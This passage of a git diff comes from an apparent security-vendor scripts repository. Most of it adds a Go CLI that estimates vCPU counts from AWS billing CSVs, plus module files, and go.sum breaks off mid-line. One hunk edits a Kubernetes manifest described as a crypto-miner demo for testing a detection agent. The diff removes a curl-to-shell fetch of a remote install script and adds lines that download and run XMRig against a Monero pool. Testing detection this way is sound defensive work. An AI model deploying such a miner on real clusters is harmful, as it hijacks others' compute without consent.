instances_without_agents.OutputRecord('xyz','',True,'','',{}) +# } + +# input_instance_inventory = ['abc', 'xyz'] +# input_list_agent_instances = ['abc'] +# input_lw_subaccount = 'test' + +# result_instances_without_agents, result_matched_instances, result_agents_without_inventory = instances_without_agents.apply_agent_presence_filtering(input_instance_inventory, input_list_agent_instances, input_lw_subaccount) + +# assert(len(result_matched_instances) == 1) +# assert(result_matched_instances[0].urn =='abc') + +# assert(len(result_instances_without_agents) == 1) +# assert(result_instances_without_agents[0].urn =='xyz') \ No newline at end of file diff --git a/k8s-crypto-miner.yaml b/k8s-crypto-miner.yaml index 7956526..5333b15 100644 --- a/k8s-crypto-miner.yaml +++ b/k8s-crypto-miner.yaml @@ -1,4 +1,5 @@ # Deploys a crypto miner malware example for testing the Lacework agent +# Note: This will only work on Kubernetes clusters running on Intel based platforms. # Run the following command to deploy the example # kubectl apply -f https://raw.githubusercontent.com/lacework-dev/scripts/main/k8s-crypto-miner.yaml # Run the following command to delete the example @@ -20,10 +21,30 @@ spec: app: crypto-miner spec: containers: - - image: ubuntu:latest + - image: ubuntu:18.04 name: crypto-miner - resources: - limits: - cpu: "1" - command: ["/bin/bash"] - args: ['-c', 'apt-get update ; apt-get install -y curl ; source <(curl -s http://lwmalwaredemo.com/install-demo-1.sh)' ] + command: + - /bin/sh + - -c + - | + apt update + apt install -y curl + curl -L https://github.com/xmrig/xmrig/releases/download/v6.19.2/xmrig-6.19.2-linux-x64.tar.gz -o xmrig.tar.gz --silent + tar xvfz xmrig.tar.gz + cd xmrig-6.19.2 + config='{ + "algo": "cryptonight", + "pools": [ + { + "url": "xmrpool.eu:9999", + "user": "NOTAREALUSER", + "pass": "x", + "enabled": true, + } + ], + "retries": 10, + "retry-pause": 3, + "watch": true + }' + echo $config > config.json + ./xmrig -c config.json diff --git a/lw-billing/cmd/aws.go b/lw-billing/cmd/aws.go new file mode 100644 index 0000000..6c68d13 --- /dev/null +++ b/lw-billing/cmd/aws.go @@ -0,0 +1,24 @@ +package cmd + +import ( + "github.com/spf13/cobra" + "lw-billing/cmd/lwaws" + "lw-billing/helpers" +) + +var awsCmd = &cobra.Command{ + Use: "aws", + Short: "AWS Billing", + Long: `AWS Billing`, + Run: func(cmd *cobra.Command, args []string) { + billingCSV := lwaws.ParseBilling(cmd) + debug := helpers.ParseDebug(cmd) + lwaws.Run(billingCSV, debug) + }, +} + +func init() { + rootCmd.AddCommand(awsCmd) + awsCmd.Flags().StringP("billing", "b", "", "AWS billing csv") + awsCmd.Flags().BoolP("debug", "d", false, "Show Debug Logs") +} diff --git a/lw-billing/cmd/azure.go b/lw-billing/cmd/azure.go new file mode 100644 index 0000000..3c684a0 --- /dev/null +++ b/lw-billing/cmd/azure.go @@ -0,0 +1,22 @@ +package cmd + +import ( + "github.com/spf13/cobra" + "lw-billing/cmd/lwazure" + "lw-billing/helpers" +) + +var azureCmd = &cobra.Command{ + Use: "azure", + Short: "Azure Billing", + Long: `Azure Billing`, + Run: func(cmd *cobra.Command, args []string) { + debug := helpers.ParseDebug(cmd) + lwazure.Run(debug) + }, +} + +func init() { + rootCmd.AddCommand(azureCmd) + azureCmd.Flags().BoolP("debug", "d", false, "Show Debug Logs") +} diff --git a/lw-billing/cmd/gcp.go b/lw-billing/cmd/gcp.go new file mode 100644 index 0000000..86dc267 --- /dev/null +++ b/lw-billing/cmd/gcp.go @@ -0,0 +1,23 @@ +package cmd + +import ( + "github.com/spf13/cobra" + "lw-billing/cmd/lwgcp" + "lw-billing/helpers" + // compute "google.golang.org/api/compute/v1" +) + +var gcpCmd = &cobra.Command{ + Use: "gcp", + Short: "GCP Billing", + Long: `GCP Billing`, + Run: func(cmd *cobra.Command, args []string) { + debug := helpers.ParseDebug(cmd) + lwgcp.Run(debug) + }, +} + +func init() { + rootCmd.AddCommand(gcpCmd) + gcpCmd.Flags().BoolP("debug", "d", false, "Show Debug Logs") +} diff --git a/lw-billing/cmd/lwaws/aws.go b/lw-billing/cmd/lwaws/aws.go new file mode 100644 index 0000000..7adf018 --- /dev/null +++ b/lw-billing/cmd/lwaws/aws.go @@ -0,0 +1,204 @@ +package lwaws + +import ( + "encoding/csv" + "fmt" + log "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + "io" + "lw-billing/helpers" + "os" + "strconv" + "strings" +) + +func Run(billingCSV string, debug bool) { + if debug { + log.SetLevel(log.DebugLevel) + } + + instanceTypes := loadAWSInstanceTypes() + instances := getVMVCPU(billingCSV, instanceTypes) + lambdas := getLambdaVCPU(billingCSV) + getFargateVCPU(billingCSV) + + vmvcpus := countUpVMs(instances) + println("VM vCPUS:", vmvcpus) + + lambdavcpus := countUpLambdas(lambdas) + println("Lambda vCPUS:", lambdavcpus) + + println("Total AWS vCPUS:", vmvcpus+lambdavcpus) +} + +const ( + hoursPerMonth = 720 + recordID = 4 + linkedAccountID = 2 + usageType = 15 + usageQty = 21 + productCode = 12 + payerAccountID = 1 +) + +type InstanceType struct { + Name string + VCPU int +} + +type BillingInstance struct { + Name string + Hours float64 + AccountID string + VCPU int +} + +func check(e error) { + if e != nil { + panic(e) + } +} + +func countUpVMs(instances map[string][]BillingInstance) int { + var totalVCPUs float64 + + for account, instance := range instances { + var accountvCPUs float64 + for _, it := range instance { + numInstances := it.Hours / hoursPerMonth + vcpus := numInstances * float64(it.VCPU) + accountvCPUs += vcpus + totalVCPUs += vcpus + } + fmt.Printf("Account %s - VM vCPUs: %.2f\n", account, accountvCPUs) + } + + return int(totalVCPUs) +} + +func countUpLambdas(instances map[string]float64) int { + var totalVCPUs float64 + + for account, vcpus := range instances { + var accountvCPUs float64 + accountvCPUs += vcpus + totalVCPUs += vcpus + fmt.Printf("Account %s - Lambda vCPUs: %.2f\n", account, accountvCPUs) + } + return int(totalVCPUs) +} + +func getVMVCPU(filename string, instanceTypes []InstanceType) map[string][]BillingInstance { + readFile, err := os.Open(filename) + check(err) + defer readFile.Close() + + r := csv.NewReader(readFile) + + instances := make(map[string][]BillingInstance) + for { + row, err := r.Read() + if err == io.EOF { + break + } + if err != nil { + log.Fatal(err) + } + + for _, instanceType := range instanceTypes { + if !strings.Contains(row[recordID], "AccountTotal") && row[linkedAccountID] != "" && strings.Contains(row[usageType], instanceType.Name) { + hours, _ := strconv.ParseFloat(row[usageQty], 64) + accountID := row[linkedAccountID] + if accountID == "" { + accountID = row[payerAccountID] + } + instances[accountID] = append(instances[accountID], BillingInstance{ + Name: instanceType.Name, + AccountID: accountID, + Hours: hours, + VCPU: instanceType.VCPU, + }) + } + } + } + + return instances +} + +func getLambdaVCPU(filename string) map[string]float64 { + readFile, err := os.Open(filename) + check(err) + defer readFile.Close() + + r := csv.NewReader(readFile) + + lambdas := make(map[string]float64) + for { + row, err := r.Read() + if err == io.EOF { + break + } + if err != nil { + log.Fatal(err) + } + + if !strings.Contains(row[recordID], "AccountTotal") && row[linkedAccountID] != "" && row[productCode] == "AWSLambda" && strings.Contains(row[usageType], "Lambda-GB-Second") { + accountID := row[linkedAccountID] + if accountID == "" { + accountID = row[payerAccountID] + } + seconds, _ := strconv.ParseFloat(row[usageQty], 64) + + lambdas[accountID] += seconds / 3600 / 1024 / hoursPerMonth + } + } + + return lambdas +} + +func getFargateVCPU(filename string) map[string]float64 { + readFile, err := os.Open(filename) + check(err) + defer readFile.Close() + + r := csv.NewReader(readFile) + + lambdas := make(map[string]float64) + for { + row, err := r.Read() + if err == io.EOF { + break + } + if err != nil { + log.Fatal(err) + } + + if !strings.Contains(row[recordID], "AccountTotal") && row[linkedAccountID] != "" && row[productCode] == "AmazonECS" && strings.Contains(row[usageType], "Fargate-vCPU-Hours:perCPU") { + accountID := row[linkedAccountID] + if accountID == "" { + accountID = row[payerAccountID] + } + hours, _ := strconv.ParseFloat(row[usageQty], 64) + fmt.Printf("Fargate %s, %.2f\n", accountID, hours) + } + } + + return lambdas +} + +func loadAWSInstanceTypes() []InstanceType { + var instanceTypes []InstanceType + for instance, vcpu := range helpers.Aws_instances { + instanceTypes = append(instanceTypes, InstanceType{ + Name: instance, + VCPU: vcpu, + }) + } + + return instanceTypes +} + +func ParseBilling(cmd *cobra.Command) string { + billingCSV := helpers.GetFlagEnvironmentString(cmd, "billing", "billing", "Missing Billing CSV", true) + return billingCSV +} diff --git a/lw-billing/cmd/lwazure/azure.go b/lw-billing/cmd/lwazure/azure.go new file mode 100644 index 0000000..1de82a1 --- /dev/null +++ b/lw-billing/cmd/lwazure/azure.go @@ -0,0 +1,10 @@ +package lwazure + +import log "github.com/sirupsen/logrus" + +func Run(debug bool) { + if debug { + log.SetLevel(log.DebugLevel) + } + +} diff --git a/lw-billing/cmd/lwgcp/gcp.go b/lw-billing/cmd/lwgcp/gcp.go new file mode 100644 index 0000000..f5fb3b2 --- /dev/null +++ b/lw-billing/cmd/lwgcp/gcp.go @@ -0,0 +1,9 @@ +package lwgcp + +import log "github.com/sirupsen/logrus" + +func Run(debug bool) { + if debug { + log.SetLevel(log.DebugLevel) + } +} diff --git a/lw-billing/cmd/root.go b/lw-billing/cmd/root.go new file mode 100644 index 0000000..e7f46c0 --- /dev/null +++ b/lw-billing/cmd/root.go @@ -0,0 +1,20 @@ +package cmd + +import ( + "github.com/spf13/cobra" + "lw-billing/helpers" +) + +var cfgFile string + +var rootCmd = &cobra.Command{ + Use: "lw-billing", + Short: "", + Long: "", +} + +func Execute() { + if err := rootCmd.Execute(); err != nil { + helpers.Bail("error starting app", err) + } +} diff --git a/lw-billing/go.mod b/lw-billing/go.mod new file mode 100644 index 0000000..2dbc7ee --- /dev/null +++ b/lw-billing/go.mod @@ -0,0 +1,62 @@ +module lw-billing + +go 1.19 + +require ( + cloud.google.com/go/compute v1.18.0 + github.com/lacework-dev/scripts/lw-inventory v0.0.0-20230209001952-81d53cd35ba9 + github.com/sirupsen/logrus v1.9.0 + github.com/spf13/cobra v1.6.1 + github.com/spf13/viper v1.15.0 + google.golang.org/api v0.110.0 + google.golang.org/genproto v0.0.0-20230227214838-9b19f0bdc514 +) + +require ( + cloud.google.com/go/compute/metadata v0.2.3 // indirect + github.com/aws/aws-sdk-go-v2 v1.16.16 // indirect + github.com/aws/aws-sdk-go-v2/config v1.17.1 // indirect + github.com/aws/aws-sdk-go-v2/credentials v1.12.14 // indirect + github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.12 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.23 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.17 // indirect + github.com/aws/aws-sdk-go-v2/internal/ini v1.3.19 // indirect + github.com/aws/aws-sdk-go-v2/service/ec2 v1.52.1 // indirect + github.com/aws/aws-sdk-go-v2/service/ecs v1.18.15 // indirect + github.com/aws/aws-sdk-go-v2/service/eks v1.21.8 // indirect + github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.12 // indirect + github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.12 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.12 // indirect + github.com/aws/aws-sdk-go-v2/service/rds v1.24.0 // indirect + github.com/aws/aws-sdk-go-v2/service/redshift v1.26.4 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.11.17 // indirect + github.com/aws/aws-sdk-go-v2/service/sts v1.16.13 // indirect + github.com/aws/smithy-go v1.13.3 // indirect + github.com/fsnotify/fsnotify v1.6.0 // indirect + github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect + github.com/golang/protobuf v1.5.2 // indirect + github.com/google/uuid v1.3.0 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.2.3 // indirect + github.com/googleapis/gax-go/v2 v2.7.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.0.1 // indirect + github.com/jmespath/go-jmespath v0.4.0 // indirect + github.com/magiconair/properties v1.8.7 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/pelletier/go-toml/v2 v2.0.6 // indirect + github.com/spf13/afero v1.9.3 // indirect + github.com/spf13/cast v1.5.0 // indirect + github.com/spf13/jwalterweatherman v1.1.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/subosito/gotenv v1.4.2 // indirect + go.opencensus.io v0.24.0 // indirect + golang.org/x/net v0.7.0 // indirect + golang.org/x/oauth2 v0.5.0 // indirect + golang.org/x/sys v0.5.0 // indirect + golang.org/x/text v0.7.0 // indirect + google.golang.org/appengine v1.6.7 // indirect + google.golang.org/grpc v1.53.0 // indirect + google.golang.org/protobuf v1.28.1 // indirect + gopkg.in/ini.v1 v1.67.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/lw-billing/go.sum b/lw-billing/go.sum new file mode 100644 index 0000000..13847ca --- /dev/null +++ b/lw-billing/go.sum @@ -0,0 +1,572 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= +cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= +cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= +cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= +cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= +cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= +cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= +cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= +cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= +cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= +cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys= +cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= +cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= +cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= +cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= +cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= +cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= +cloud.google.com/go/compute v1.18.0 h1:FEigFqoDbys2cvFkZ9Fjq4gnHBP55anJ0yQyau2f9oY= +cloud.google.com/go/compute v1.18.0/go.mod h1:1X7yHxec2Ga+Ss6jPyjxRxpu2uu7PLgsOVXvgU0yacs= +cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY= +cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= +cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= +cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/longrunning v0.4.1 h1:v+yFJOfKC3yZdY6ZUI933pIYdhyhV8S3NpWrXWmg7jM= +cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= +cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= +cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= +cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= +cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= +cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= +cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= +cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/aws/aws-sdk-go-v2 v1.16.11/go.mod h1:WTACcleLz6VZTp7fak4EO5b9Q4foxbn+8PIz3PmyKlo= +github.com/aws/aws-sdk-go-v2 v1.16.16 h1:M1fj4FE2lB4NzRb9Y0xdWsn2P0+2UHVxwKyOa4YJNjk= +github.com/aws/aws-sdk-go-v2 v1.16.16/go.mod h1:SwiyXi/1zTUZ6KIAmLK5V5ll8SiURNUYOqTerZPaF9k= +github.com/aws/aws-sdk-go-v2/config v1.17.1 h1:BWxTjokU/69BZ4DnLrZco6OvBDii6ToEdfBL/y5I1nA= +github.com/aws/aws-sdk-go-v2/config v1.17.1/go.mod h1:uOxDHjBemNTF2Zos+fgG0NNfE86wn1OAHDTGxjMEYi0= +github.com/aws/aws-sdk-go-v2/credentials v1.12.14 h1:AtVG/amkjbDBfnPr/tuW2IG18HGNznP6L12Dx0rLz+Q= +github.com/aws/aws-sdk-go-v2/credentials v1.12.14/go.mod h1:opAndTyq+YN7IpVG57z2CeNuXSQMqTYxGGlYH0m0RMY= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.12 h1:wgJBHO58Pc1V1QAnzdVM3JK3WbE/6eUF0JxCZ+/izz0= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.12/go.mod h1:aZ4vZnyUuxedC7eD4JyEHpGnCz+O2sHQEx3VvAwklSE= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.18/go.mod h1:348MLhzV1GSlZSMusdwQpXKbhD7X2gbI/TxwAPKkYZQ= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.23 h1:s4g/wnzMf+qepSNgTvaQQHNxyMLKSawNhKCPNy++2xY= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.23/go.mod h1:2DFxAQ9pfIRy0imBCJv+vZ2X6RKxves6fbnEuSry6b4= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.12/go.mod h1:ckaCVTEdGAxO6KwTGzgskxR1xM+iJW4lxMyDFVda2Fc= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.17 h1:/K482T5A3623WJgWT8w1yRAFK4RzGzEl7y39yhtn9eA= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.17/go.mod h1:pRwaTYCJemADaqCbUAxltMoHKata7hmB5PjEXeu0kfg= +github.com/aws/aws-sdk-go-v2/internal/ini v1.3.19 h1:g5qq9sgtEzt2szMaDqQO6fqKe026T6dHTFJp5NsPzkQ= +github.com/aws/aws-sdk-go-v2/internal/ini v1.3.19/go.mod h1:cVHo8KTuHjShb9V8/VjH3S/8+xPu16qx8fdGwmotJhE= +github.com/aws/aws-sdk-go-v2/service/ec2 v1.52.1 h1:A2hit+4GRYOdvs2aJxGhDrrRS17zSa66M+k1IqqgUic= +github.com/aws/aws-sdk-go-v2/service/ec2 v1.52.1/go.mod h1:YbPg6ou7dlvFTJMmbV3zhec+A22S1Ow+ZB6k6xUs9oY= +github.com/aws/aws-sdk-go-v2/service/ecs v1.18.15 h1:dseu9SGI3VepG39If8W1HTyNrI/PFyh8PoJUDjnYCtQ= +github.com/aws/aws-sdk-go-v2/service/ecs v1.18.15/go.mod h1:KIyoYPeoCLYhO0mA82lUwtZnEyQPVdgg6aPSGQOD0TA= +github.com/aws/aws-sdk-go-v2/service/eks v1.21.8 h1:uF8ubOoj49FDr0/Lyo5tR7OpKgT/xNcwuzEHMZBI0Ok= +github.com/aws/aws-sdk-go-v2/service/eks v1.21.8/go.mod h1:R9cRhIInyI6RvK1CjhZSksjWN3wnNAx9ZtAqe5Jjvw0= +github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.12 h1:y97T4mPCBDVRtUxMAWA9ZNXnTHA2p4YXFBDSkMrxr4U= +github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.12/go.mod h1:VrUvYb3ZCeUcJMIYmCJUjfwfyIFKOnXhdyfue/MSCIE= +github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.12 h1:jemAfH91rYzeDdNPDNdZHLSXxaXW5l1fcUT1+nRQ8cM= +github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.12/go.mod h1:X2UdAVE3dDmC83sWf9gXW3EL2mVjDCS4vRUctHz8GjM= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.12 h1:7iPTTX4SAI2U2VOogD7/gmHlsgnYSgoNHt7MSQXtG2M= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.12/go.mod h1:1TODGhheLWjpQWSuhYuAUWYTCKwEjx2iblIFKDHjeTc= +github.com/aws/aws-sdk-go-v2/service/rds v1.24.0 h1:MdkVN+IfOrMdcD4fhoHOVabXqsN1fyiTWMIKJhGnLzQ= +github.com/aws/aws-sdk-go-v2/service/rds v1.24.0/go.mod h1:0+TdWzMBupUemfH+AlJ55BSD/KNPKyIcf5X3++cJOTA= +github.com/aws/aws-sdk-go-v2/service/redshift v1.26.4 h1:YB8FvFQNR4sybEU4BwoqtmtMkhrVHduq+5v1g0h3Dek= +github.com/aws/aws-sdk-go-v2/service/redshift v1.26.4/go.mod h1:ni/7gZjj90pk2dZ3WJxwHzOpNQlw/BniUJNPAh3iW7w= +github.com/aws/aws-sdk-go-v2/service/sso v1.11.17 h1:pXxu9u2z1UqSbjO9YA8kmFJBhFc1EVTDaf7A+S+Ivq8= +github.com/aws/aws-sdk-go-v2/service/sso v1.11.17/go.mod h1:mS5xqLZc/6kc06IpXn5vRxdLaED+jEuaSRv5BxtnsiY= +github.com/aws/aws-sdk-go-v2/service/sts v1.16.13 h1:dl8T0PJlN92rvEGOEUiD0+YPYdPEaCZK0TqHukvSfII= +github.com/aws/aws-sdk-go-v2/service/sts v1.16.13/go.mod h1:Ru3QVMLygVs/07UQ3YDur1AQZZp2tUNje8wfloFttC0= +github.com/aws/smithy-go v1.12.1/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA= +github.com/aws/smithy-go v1.13.3 h1:l7LYxGuzK6/K+NzJ2mC+VvLUbae0sL3bXU//04MkmnA= +github.com/aws/smithy-go v1.13.3/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= +github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod 